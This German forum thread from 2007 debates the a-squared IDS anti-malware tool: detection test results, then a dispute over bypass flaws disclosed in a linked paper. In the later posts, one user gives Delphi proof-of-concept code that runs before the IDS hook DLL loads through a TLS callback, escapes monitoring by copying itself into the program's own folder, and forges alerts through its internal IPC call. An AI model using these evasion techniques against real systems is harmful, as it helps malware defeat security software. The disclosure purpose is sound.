Hat schon jemand das a-squared IDS getestet? Einstellungen

[Solution-Design]

das fehlen der unpack-engnie ist einfach ein großer Mangel...
[right][snapback]96763[/snapback][/right]

Jein, wenn ich mir das Ergebnis des oben geposteten Links anschaue, dann hat die asquared malware-Erkennung nicht nur ein Problem mit gepackten, besser gesagt, durch Packing versteckten Viren. Wenn ich den Text der Site richtig interpretiere, so sind keine gepackten Viren verwendet worden. Somit ist das schlechte Ergebnis des asquared-Scanners, welcher fast 130.000 Signaturen beinhaltet kaum noch zu erklären.

The 91202 virus samples were chosen using VS2000 according to Kaspersky, F-Prot, RAV, Nod32, Dr.Web, Sweep, BitDefender and McAfee antivirus programs.
Each virus sample was unique by virus name, meaning that AT LEAST 1 antivirus program detected it as a new virus.
ALL virus samples were unpacked and the only samples that were kept were the ones that were packed using external-dos-packers (that means not winzip, winrar, winace etc).

Zumindest geht ein Scan ohne unpacking deutlich schneller....... (beim Scan-Tempo habe ich doch jetzt glatt ein dejavu-Erlebnis  )[right][snapback]96788[/snapback][/right]

Welcher Scanner bei dir ist soo eingestellt?

[emsi]

Jein, wenn ich mir das Ergebnis des oben geposteten Links anschaue, dann hat die asquared malware-Erkennung nicht nur ein Problem mit gepackten, besser gesagt, durch Packing versteckten Viren.

a-squared erkennt GAR KEINE Viren. Sowas wurde auch nie behauptet. Es ist ursprünglich aus der Anti-Trojaner Ecke und erkennt mittlerweile auch Dialer, Würmer und Spyware.

Auf welchen Test beziehen sich die "91202 virus samples" eigentlich?

[Solution-Design]

Es ist ursprünglich aus der Anti-Trojaner Ecke und erkennt mittlerweile auch Dialer, Würmer und Spyware.

Viren habe ich in der Kürze als Oberbegriff benutzt. War vielleicht ein wenig oberflächlich

Auf welchen Test beziehen sich die "91202 virus samples" eigentlich?
[right][snapback]96853[/snapback][/right]

Auf diesen hier: http://www.virus.gr/english/fullxml/default.asp?id=69&mnu=69

[Gast_piet_*]

Dann schau einmal genau hin was für Malware im Testset war. Massig Viren.

    The virus samples were divided into these categories, according to the type of the virus :

    *
      File = BeOS, FreeBSD, Linux, Palm, OS2, Unix, BinaryImage, BAS viruses, MenuetOS viruses.
    *
      MS-DOS = MS-DOS and HLL*. viruses.
    *
      Windows = Win.*.* viruses.
    *
      Macro = Macro and Formula viruses.
    *
      Malware = Adware, DoS, Constructors, Exploit, Flooders, Nukers, Sniffers, Spoofers, Virus Construction Tools, Virus Tools, Droppers, PolyEngines.
    *
      Script = BAT, Corel, HTML, Java, Scripts, VBS, WBS, Worms, PHP, Perl viruses.
    *
      Trojans-Backdoors = Trojan and Backdoor viruses.

piet

[emsi]

Wäre jetzt natürlich interessant, wie viele der vom Scanner nicht gefundenen Malwares vom a-squared IDS erkannt worden wären.

Ein Scanner ist immer nur maximal zum Bereinigen eines verseuchten Rechners gut. Die Qualität des Hintergrundwächters ist das Maßgebende, wenn es um den realen Sicherheitsfaktor geht.

[Gast_Jens1962_*]

Welcher Scanner bei dir ist soo eingestellt?
[right][snapback]96835[/snapback][/right]

Normalerweise keiner, war nur jeweils ein Versuchsscan. Die Zeitersparnis war jedenfalls deutlich.

[Solution-Design]

Dann schau einmal genau hin was für Malware im Testset war. Massig Viren.
[right][snapback]96860[/snapback][/right]

Las mal die Viren weg und schau nur auf den Trojaner-Bereich und dann wiederum, wie KAV da abgeschnitten hat. Die anderen Scanner, wie asquared darfst natürlich auch betrachten

Das IDS-System hätte sicherlich viele, wenn nicht gar alle in irgendeiner Weise gemeldet. nur, dann sind sie aber erstmal auf dem PC. Nagut, wenn der User mit der Meldung richtig umgeht, dann tun sie ihm (seinen Daten) ja nichts

[Gast_piet_*]

Ja, hab die ~60% gesehen. Fand die Liste nur ziemlich daneben.

piet

[Solution-Design]

Das zweite Arbeitsblatt (Comparative) ist etwas sinniger aufgebaut. Aber stimmt schon, ein Excelkurs wär für die Jungs was

[brechi]

http://uall.cheat-project.com/uallpdf/asquared.pdf
IDS ist ja echt toll...

[emsi]

Sämtliche in dem Paper beschriebenen Probleme wurden bereits vor einiger Zeit behoben. Einige Informationen sind außerdem gänzlich falsch und zeugen nicht gerade von Wissen des Autors über das Windows System.

Der Beitrag wurde von emsi bearbeitet: 16.06.2007, 18:08

[brechi]

Aha, komisch dass
#1, #2, #4 ohne Probleme noch gehen
#3 geht wenn man die Signatur wieder ändert
#5 geht wenn man die Dll 2 mal entlädt (also 2 mal FreeLibraryAndExitThread aufruft), die wird nämlich 2 mal injeziert wodurch Windows den DllLoadCouter erhöht
#6 ist als einziges wirklich gefixt

Schon wie viel ihr euch bemüht die Sachen zu fixen.
Dann noch zu deinem Kommentar: "Einige Informationen sind außerdem gänzlich falsch und zeugen nicht gerade von Wissen des Autors über das Windows System." Welche? Reden kann man viel. Nur ihr habt nunmal so eure Unfähigkeit bewiesen.
1) Eure Programmierer sind noch am studieren, haben also super viel Berufserfahrung mit den Techniken und machen dann in einem anderen Forum noh Avira schlecht (Btw. die Leute da haben bisl mehr Erfahrung und haben auch schon geschrieben, dass das IDS nicht wirklich toll programmiert ist.
2) Ihr benutzt eine fertige Komponente zum hooken/laden. Habt also ganz sicher nicht die Erfahrungen die man braucht um ein gescheites Antiviren/Malware Programm zu machen. Das sieht man auch wie ihr versucht die Probleme zu lösen.

Naja is ja irgendwie logisch, ihr seid ne Firma und wollt auch nur Geld verdienen. Und das mit so einem miserablen Programm. Würd mich echt interessieren, was in dem Paper oben falsch sein sollte. Und wie ihr ernsthaft versucht die Probleme zu lösen. Hab es ja nach 6 Monaten immer noch nicht geschafft. Das ist ne saubere Leistung.

[Andreas Haak]

#1

Ist eine Limitierung der Technik die verwendet wird. Allerdings hat jede Technik diesbezüglich ihre Limitierungen (ja auch Kernel Mode API Hooking).

#2

Funktioniert nur unter bestimmten Windows Versionen und nur mit bestimmten DLLs. Einige DLLs müssen zwingend an eine bestimmte Adressen geladen werden. Sind diese Adressen belegt, wars das.

#3, #4, #5

Wurden damals noch von mir gefixt. Statt den EIP der Anwendung zu ändern und die DLL so zu laden wird ein EIP für die ntdll.dll erstellt. Dadurch werden die Hooks vor den statisch gelinkten DLLs geladen und bevor die TLS Callbacks ausgeführt werden. Der Nachteil der Methode ist, daß so injezierte DLLs nicht mehr entfernt werden können, weil Windows sie wie statisch gelinkte DLLs behandelt.

Dann noch zu deinem Kommentar: "Einige Informationen sind außerdem gänzlich falsch und zeugen nicht gerade von Wissen des Autors über das Windows System." Welche? Reden kann man viel.

Naja, die "Problemlösungen" die er gebracht hat sind ... naja ... unüberlegt. Die 1. ist gut, allerdings auch offensichtlich. Die anderen haben allesamt das Problem, daß sie einfach ausgehebelt werden können. Entweder durch ein Verschieben des Ladezeitpunktes oder indem man einfach eine weitere API hookt und überwacht. Mal ganz davon abgesehen, daß er von einem bereits aktivem IDS ausgeht, was ja nicht zwangsläufig so sein muss.

1) Eure Programmierer sind noch am studieren, haben also super viel Berufserfahrung mit den Techniken und machen dann in einem anderen Forum noh Avira schlecht.

Du kennst die Programmierer doch gar nicht bzw. kennst Du Ihren Code nicht, weil die Komponenten und Projekte an denen sie arbeiten noch gar nicht fertiggestellt und für Dich (und mich) noch nicht mal verfügbar sind. Entsprechend wär ich vorsichtig mit solcherlei Aussagen.

2) Ihr benutzt eine fertige Komponente zum hooken/laden. Habt also ganz sicher nicht die Erfahrungen die man braucht um ein gescheites Antiviren/Malware Programm zu machen. Das sieht man auch wie ihr versucht die Probleme zu lösen.

Hast Du einen Codevergleich gemacht zw. "Original" und der Version die sie verwenden? Klar basiert das Hooking auf 3rd Party Source, der damals gekauft und entsprechend erweitert wurde. Allerdings ist selbiges nichts was man verurteilen könnte. Du glaubst gar nicht wieviele Treiber und Komponenten die renomierte Software verwendet auf Beispielsourcen aus dem DDK basieren. Du willst auch gar nicht wissen wieviele AV Hersteller intern ZLIB verwenden um Ihre Signaturen zu komprimieren. Face it ... es ist nicht immer praktikabel das Rad neu zu erfinden.

Der Beitrag wurde von Andreas Haak bearbeitet: 18.06.2007, 16:30

[brechi]

#1 würde aber von Kernelmodehooking erkannt werden.
#2 funktioniert unter allen NT Versionen (Vista nicht getestet) da vom IDS sowieso nur kernel32 und eineige wenige andere dlls gehookt werden
#3 konnt ich jetzt net testen
#4 gestern mit neuster Version (3.0 von eurem Programm) getestet, hat funktioniert, Code kann ich uppen
#5 gestern ebenfalls getestet funktioniert ebenfalls noch, ansonsten mit http://uall.cheat-project.com/madshiprogs/ dem prog da testen udn 2 mal auf unloaden gehen, der benutzt intern den selben code

Codevergleich hab ich nicht gemacht, da eben alle Funktionen um es zu umgehen beim erscheinenn mit dem Paper sowohl mit euren Programm als auch mit anderen Programmen die die madshi Lib benutzt haben noch funktioniert haben. Das Outloook Problem wurde gefixt (ob nun von euch oder von madshi, sei mal dahingestellt, ich weiß nicht warumn es auf der Ausnahmeliste stand)
#3 könnte auch noch gefixt sein. Aber #1#2#4#5 recihen ja wohl aus um zu sagen, dass (wohl seit 2005, hab erst jetzt den ganzen Thread gelesen) immer noch die Probleme bestehen.

Übrigens bin ich der selben Meinung wie SkeeveDCD. Es gibt sehr wohl einen Unterschied zwischen User- und Kernelmode Hooking. Wenn man den Kernelmode richtig abgeschotte hat kommt man da auch nicht mehr rein (Treiber laden oder eben die CreateFileA methode mit PhysMem). Was will man machen wenn NtCreateFile im Kernelmode gehookt ist? Oder wenn man nur Gast Rechte hat?

Aber beim Usermodehooking mit Gastrechten muss man ja nur seinen EIGENEN Prozess so abändern, dass man die APIs wieder aufrufen kann. Und da gibts 1000 Wege. Oben sind 5 Beispiele, wobei man da nicht mal so viele Kenntnisse beim Programmieren braucht.

Dann nochmal zu den Problemlösungen die nicht so gut sind. Es sind ledilgich Sicherheitslücken die aufgezeigt wurden und immer noch existieren. Wenn man sie so leicht duch weiteres hooken umgehen kann warum wurde das nicht mittlerweile gemacht? Weil das System dann zu langsam wird? Weil man es nicht wirklich machen kann da man zu viele APIs hooken müsste?

So lang eine Lücke existiert die man mit 5-10 Codezeilen umgehen kann ist das schon ein echtes Defizit in einem Sicherheitsprogramm.

Edit1:
Davon abgesehen hattet ihr schon seit 2 Jahren ein Kernelhookit in den Startlöchern. Wo ist es geblieben?
Und "Einige Informationen sind außerdem gänzlich falsch". Welche sind das denn? Bisher meintest du nur die sind "etwas unüberlegt" und "offensichtlich" falsch sind se also doch nicht?

Edit2:
"Wurden damals noch von mir gefixt. Statt den EIP der Anwendung zu ändern und die DLL so zu laden wird ein EIP für die ntdll.dll erstellt. Dadurch werden die Hooks vor den statisch gelinkten DLLs geladen und bevor die TLS Callbacks ausgeführt werden. "

Gerade nochmal meine gestern durchgeführten Tests wiederholt. Hier der Code:

QUELLTEXT

program Project2;

uses windows, Sysutils;

function TLSCallback(dwParam: Integer): Integer; stdcall;
begin
  MessageBoxA(0,PChar(IntToHex(GetModuleHandle('a2handler.dll'),8)),nil,0);
  Result := 0;
end;

exports TLSCallback;

begin
  Sleep(100);
end.

Mit Vernwednung des Verfahrens aus der PDF in dieTLSCallbacktabelle eingebaut. Der 1. Aufruf von TLSCallback ergibt nil (bzw. 0x00000000), die Hookdll ist nicht geladen und auch die Hooks sind nicht installiert -> man kann also Kritische Funktionen aufrufen (wie in dem Beispiel immer mit WriteProcessMemory gemacht).
Der 2. Aufruf (MainThreadTermiante?) liefert dann aber die Dllbase von der a2handler.dll zurück.

Dann muss das dein Nachfolger wohl wieder rausgenmmmen haben, jedenfalls funktionieren beide Methoden (TLSCallback sowie Statsicher Import) wieder ohne Probleme.

"Der Nachteil der Methode ist, daß so injezierte DLLs nicht mehr entfernt werden können, weil Windows sie wie statisch gelinkte DLLs behandelt." Gerade das wolltet ihr / will man doch in einem Sicherheitsprogramm erwarten. Wo ist da der Nachteil? Jedenfalls ist das nicht in der neusten Version implementiert.

Der Beitrag wurde von brechi bearbeitet: 18.06.2007, 17:34

[Andreas Haak]

#1 würde aber von Kernelmodehooking erkannt werden.

Dafür würden alle Dinge die Usermode-only ablaufen nicht erkannt werden. Genauso wie reine Kernel Mode Malware nicht erkannt werden würde (zumindest dann wenn man Kernelmodehooking mit SDT Patching gleich setzt, wovon ich einfach mal ausgehe).

#4 gestern mit neuster Version (3.0 von eurem Programm) getestet, hat funktioniert, Code kann ich uppen
#5 gestern ebenfalls getestet funktioniert ebenfalls noch, ansonsten mit http://uall.cheat-project.com/madshiprogs/ dem prog da testen udn 2 mal auf unloaden gehen, der benutzt intern den selben code

Den Code solltest Du lieber an Emsi Software schicken (wie es eigentlich üblich ist). Soweit ich weiß ist es immer noch info@emsisoft.com. Ich hab bereits vor einiger Zeit bei Emsi Software aufgehört auf Grund gesundheitlicher Probleme.

Übrigens bin ich der selben Meinung wie SkeeveDCD. Es gibt sehr wohl einen Unterschied zwischen User- und Kernelmode Hooking. Wenn man den Kernelmode richtig abgeschotte hat kommt man da auch nicht mehr rein (Treiber laden oder eben die CreateFileA methode mit PhysMem).

Mal davon abgesehen, daß Kernel Mode Hooks nicht mehr so ohne weiteres möglich sind dank Patch Guard, liest sich das "Treiber unterbinden und Zugriff auf PhysMem unterbinden" einfacher als es getan ist. Du bist Dir im klaren das es x Möglichkeiten der Treiberinstallation gibt? Du weißt auch des es diverse fehlerhafte APIs gibt/gab die direkten Zugriff auf den Kernel Memory ermöglichen/ermöglicht haben? Mal davon abgesehen, daß es inkompatibel mit Windows 9x ist und man darauf (leider) immer noch Wert legt.

Was will man machen wenn NtCreateFile im Kernelmode gehookt ist?

Ich würd mal ZwSystemDebugControl probieren.

Aber beim Usermodehooking mit Gastrechten muss man ja nur seinen EIGENEN Prozess so abändern, dass man die APIs wieder aufrufen kann. Und da gibts 1000 Wege. Oben sind 5 Beispiele, wobei man da nicht mal so viele Kenntnisse beim Programmieren braucht.

Katz- und Mausspiel. Im Umkehrschluß könnte man die APIs die Du dafür verwendest (VirtualProtect z.B.) hooken und überwachen.

Dann nochmal zu den Problemlösungen die nicht so gut sind. Es sind ledilgich Sicherheitslücken die aufgezeigt wurden und immer noch existieren. Wenn man sie so leicht duch weiteres hooken umgehen kann warum wurde das nicht mittlerweile gemacht? Weil das System dann zu langsam wird? Weil man es nicht wirklich machen kann da man zu viele APIs hooken müsste?

Das System wird nicht zu langsam. Auch die Anzahl der APIs ist überschaubar. Die Frage ist nur, ob es sich lohnt.

So lang eine Lücke existiert die man mit 5-10 Codezeilen umgehen kann ist das schon ein echtes Defizit in einem Sicherheitsprogramm.

Als ob man zum Umgehen von Kernel Mode API Hooks mehr Zeilen benötigen würde ... .

Und "Einige Informationen sind außerdem gänzlich falsch". Welche sind das denn? Bisher meintest du nur die sind "etwas unüberlegt" und "offensichtlich" falsch sind se also doch nicht?

Wieso befragst Du mich zu Aussagen, die nicht von mir stammen? Mach bitte nicht den Fehler zu denken ich wäre Emsi Software oder würde dort arbeiten.

Dann muss das dein Nachfolger wohl wieder rausgenmmmen haben, jedenfalls funktionieren beide Methoden (TLSCallback sowie Statsicher Import) wieder ohne Probleme.

"Der Nachteil der Methode ist, daß so injezierte DLLs nicht mehr entfernt werden können, weil Windows sie wie statisch gelinkte DLLs behandelt." Gerade das wolltet ihr / will man doch in einem Sicherheitsprogramm erwarten. Wo ist da der Nachteil? Jedenfalls ist das nicht in der neusten Version implementiert.

Nunja, Du weißt nicht wie garstig User sein können, wenn sie ein Programm nicht mehr ganz abgedreht bekommen oder wenn (OH GRAUS!) sie bei einem Update den Rechner neustarten müssen. Selbiges wäre bei einem permanent aktiviertem Hook der Fall gewesen. Bei nem Treiber fällt es nicht so auf. Die werden von <Prozess Viewer deiner Wahl> ja nicht angezeigt. Aber wehe man sieht da eine DLL obwohl der Guard abgedreht ist.

Der Beitrag wurde von Andreas Haak bearbeitet: 18.06.2007, 18:01

[brechi]

Ne Grundsatzdiskussion ob nun Kernelmode oder nicht will ich gar nicht haben. Fakt ist die meisten AntiViren Programme unterstützen mittlerweile beides. Wodurch das wirkliche Protecten der Usermodehooks erst durch Kernelmode Techniken gut funktioniert. Ich kann ja auch wieder einfach VirtualProtectEx oder ensprechenden direkten Sysenter bzw. über Interrupt 0x2E für 2k diese API wieder benutzen. Bei einem Kernelhook muss ich erstmal in den Kernel kommen

Fakt ist aber: Der Threadersteller Emsi wollte gezeigt haben wie man es umgeht und ich habe hier die PDF gepostet. Da es wohl nicht nur im Interesse des Herstellers ist sondern auch des Kunden. Fakt ist auch, dass diese Möglichkeiten nicht seit gestern existieren und sie immer noch nicht gefixt sind. Meiner Meinung nach wird das sowieso schwierig im Usermode, besonders weil ich immer alle Rechte auf meinen Programmspeicher habe und die Hookdll auch erstmal in meinen Speicher rein muss. Ich bin gespannt wie man das beheben will, besonders da die einfache Unloadmethode versuchst wurde zu umgehen indem man sich selbst nochmal lädt um den Loadcounter zu erhöhen. Das zeigt icht gerde von Professionalität und auch nicht vom Interesse des wirklichen Problems.

[brechi]

Weitere Sicherheitslücke: Alle Programme im a-squared Ordner werden nicht überprüft.

QUELLTEXT

procedure CallMalwareCode;
var
  w: Cardinal;
begin
  WriteProcessMemory($13371337,nil,nil,0,w);
  MessageBoxA(0,'test',nil,0);
end;

procedure RunSecure;
var
  a2h: DWord;
  p: array[0..255] of char;
begin
  a2h := GetModuleHandle('a2handler');
  if (a2h <> 0) then
  begin
    if (GetModuleFileNameA(a2h,p,SizeOf(p)) > 0) then
    begin
      if Uppercase(ExtractFilePath(p)) = Uppercase(ExtractFilePath(Paramstr(0))) then
        CallMalwareCode else
      begin
        DeleteFile(PChar(ExtractFilePath(p)+ExtractFileName(Paramstr(0))));
        if CopyFile(PChar(Paramstr(0)), PChar(ExtractFilePath(p)+ExtractFileName(Paramstr(0))), true) then
          ShellExecute(0,'open',PChar(ExtractFilePath(p)+ExtractFileName(Paramstr(0))),nil,nil,0);
      end;
    end;
  end else
    CallMalwareCode;
end;

[Anubis]

Bin mal gespannt, wann hier ein öffentlicher Schlagabtausch hinsichtlich etwaig vorhandener Sicherheitslücken, per Offenlegung diverser Programmcodestellen, der AVG AS Suite stattfindet.

Irgendwie werde ich das Gefühl nicht los, hier ist jemand im Bezug auf A-squared mächtig angesäuert.

Der Beitrag wurde von Anubis bearbeitet: 19.06.2007, 12:45

[brechi]

Und noch ne Lücke mit der man eine Meldung über JEDES Programm ausgeben kann. Schön wenn man das mit A2 selbst macht

http://img144.imageshack.us/my.php?image=a2guardxc1.jpg

QUELLTEXT

const
  WURM = 0;
  DIALER = 1;
  BACKDOOR = 2;
  HIJACKER = 3;
  MANIPULATE = 4;
  DOWNLOADER = 5;
  LAN_BYPASS = 6;
  DRIVER = 7;
  KEYLOGGER = 8;
  AUTOSTART = 9;
  INVISIBLE = 10;
  VIRUS = 11;
  HOSTS = 12;
  ROOTKIT = 13;

var A2MessageI: function(QName: PChar;
  a1: Pointer; a2: Integer;
  a3: Pointer; a4: Integer;
  a5: Integer; a6: Integer): Integer; stdcall;

type TA2Message = packed record
  Stack: Pointer;
  m1: Integer;
  m2: Integer;
  ProcessID: Integer;
end;

procedure A2Message(MessageNr, pid: integer);
var
  Stack: Integer;
  M: TA2Message;
begin
  M.Stack := @Stack;
  M.m1 := 2;
  M.m2 := MessageNr;
  m.ProcessID := pid;
  @A2MessageI := Pointer($67824C6C - $67800000 + GetModuleHandle('a2handler'));
  A2MessageI('asquared_ipc_queue', @M, SizeOf(M), @M, SizeOf(M), -1 ,0);
end;

begin
  A2Message(ROOTKIT, 560);
end.

[Gast_Jens1962_*]

Und noch ne Lücke mit der man eine Meldung über JEDES Programm ausgeben kann. Schön wenn man das mit A2 selbst macht

Wo ist eine Lücke, wenn jedes Programm abgefragt wird freigeben, fertig.

Wenn kein Programm abgefragt würde, dann wäre eine Lücke...